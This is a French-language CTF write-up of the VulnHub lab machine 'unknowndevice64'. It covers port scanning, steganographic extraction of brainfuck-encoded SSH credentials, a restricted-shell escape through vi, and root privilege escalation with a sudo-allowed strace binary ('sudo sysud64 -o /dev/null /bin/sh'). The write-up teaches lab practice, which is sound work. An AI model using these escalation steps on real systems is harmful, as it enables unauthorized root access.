Consulting, services, computer engineering. Implementation of technology solutions and support for businesses.

User Rating: 5 / 5

Star ActiveStar ActiveStar ActiveStar ActiveStar Active
 

     

    Prérequis : Connaitre les commandes fondamentales de Linux

    Niveau de compréhension : Intermédiaire

    On se retrouve pour un nouveau write up effectué sur la machine vulnhub unknowdevice 64, . Le but est tout simplement de devenir root (administrateur) sur la machine.

     

     

    Une fois la machine téléchargée et lancée dans Vmware, il nous suffit d’attendre pour obtenir son adresse IP.

     

    La collecte d’informations

    L’adresse de la machine à attaquer est 192.168.2.99. On commence notre analyse avec un nmap sur l’adresse IP de la machine unknowdevice 64.

    Le Port 31337 est ouvert et nous indique la présence d’un serveur HTTP.

    Voilà ce que nous pouvons voir une fois sur l’URL http://192.168.2.99:31337.

    Une analyse du code source de la page nous révèle une image sur l’URL http://192.168.2.99:31337/key_is_h1dd3n.jpg

    <!– key_is_h1dd3n.jpg –>

    Récupérons l’image sur notre machine pour effectuer un peu de stéganographie.

    La stéganographie est l’art de la dissimulation : son objet est de faire passer inaperçu un message dans un autre message. Elle se distingue de la cryptographie, « art du secret », qui cherche à rendre un message inintelligible à autre que qui-de-droit.

    J’ai essayé plusieurs outils pour trouver la clé qui est cachée dans l’image. Voilà le résultat de quelques outils.

    binwalk key_is_h1dd3n.jpg

    DECIMAL HEXADECIMAL DESCRIPTION

    ——————————————————————————–

    0 0x0 JPEG image data, JFIF standard 1.01

    exiftool key_is_h1dd3n.jpg

    ExifTool Version Number : 11.16

    File Name : key_is_h1dd3n.jpg

    Directory : . File Size : 5.3 kB File Modification Date/Time : 2019:04:06 17:18:16+00:00

    File Access Date/Time : 2019:04:06 17:18:16+00:00

    File Inode Change Date/Time : 2019:04:06 17:18:16+00:00

    File Permissions : rw-r–r–

    File Type : JPEG File

    Type Extension : jpg


    strings key_is_h1dd3n.jpg
    JFIF
    $4.763.22:ASF:=N>22HbINVX]^]8EfmeZlS[]Y
    $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
    W;Et
    Z#+;
    Z,z]
    uAm;8
    Tfxd
    #vPO|
    TTQE
    r&~R
    [6Tz0
    QEwS
    lCrQy
    RxGS
    7!\{6N
    RITO,
    44[7

     

     

     

     

    J’ai ensuite essayé avec l’outil steghide et le mot de passe h1dd3n que l’on retrouve sur la page web.

    steghide –extract -sf key_is_h1dd3n.jpg

    Enter passphrase: *********

    wrote extracted data to “h1dd3n.txt

    L’outil arrive à extraire un fichier texte nommé “h1dd3n.txt”. Le fichier texte contient le code suivant.

    cat h1dd3n.txt

    ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.—————–.<—————-.–.++++++.———.>———————–.<<+++.++.>+++++.–.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.—————–.


    On peut reconnaitre le langage brainfuck. Brainfuck est un langage de programmation ésotérique créé en 1993 par Urban Müller . Il se distingue par son minimalisme extrême.

    Le langage consiste en seulement huit commandes simples et un pointeur d’instruction . Bien qu’il soit totalement complet , il n’est pas conçu pour une utilisation pratique, mais pour contester et amuser les programmeurs . Brainfuck exige simplement que l’on décompose les commandes en étapes microscopiques.

    À l’aide , nous pouvons le décoder .

    Nous voilà en possession d’un login/mot de passe . Le problème est que nous n’avons pas d’autre port ouvert sur la machine cible. J’ai décidé de relancer une analyse complète de tous les ports avec l’option -p- de nmap.

    Un nouveau port SSH est découvert au bout de quelques minutes.

    1337/tcp open ssh OpenSSH 7.7 (protocol 2.0)

    Je me connecte en ssh sur le port 1337 avec le login « ud64 » et le mot de passe « 1M! #64@ud ».
    Après la connexion via SSH, je constate que j’ai un Shell restreint.

     

    Exploitation d’une faille

     

    En appuyant deux fois sur le bouton “tab”, je trouve les commandes que je peux exécuter. Parmi les commandes , je remarque que je peux utiliser l’éditeur Vi. J’utilise Vi editor pour m’échapper du Shell restreint.

    Toujours aucune commande ne fonctionne. J’exporte «/bin/bash» en tant que variable d’environnement SHELL et «/usr/bin» en tant que variable d’environnement PATH afin que je puisse exécuter correctement les commandes Linux . J’ai ensuite cherché comment devenir root pendant de longues minutes . J’ai vérifié la liste des sudoers et j’ai découvert que je pouvais exécuter sysud64 en tant que root.

    bash-4.4$ export PATH=/usr/bin:$PATH
    bash-4.4$ export SHELL=/bin/bash:$SHELL
    bash-4.4$ sudo -l
    User ud64 may run the following commands on unknowndevice64_v1: (ALL) NOPASSWD: /usr/bin/sysud64

     

     

     

     

     

    L’élévation de privilège

     

     

    En analysant le binaire sysud64, j’ai compris que c’était tout simplement Strace, un outil utilisé notamment pour le debugging et le troubleshooting des programmes sous Linux.

    Cela veut dire que toutes les commandes qui seront exécutées par l’utilisateur ud64 avec sudo sur le fichier binaire /usr/bin/sysud64 seront exécutées en réalité avec les privilèges du compte root.

    Ouvrons un shell root.

    bash-4.4$ sudo sysud64 -o /dev/null /bin/sh

     

          

        Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit. J'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus: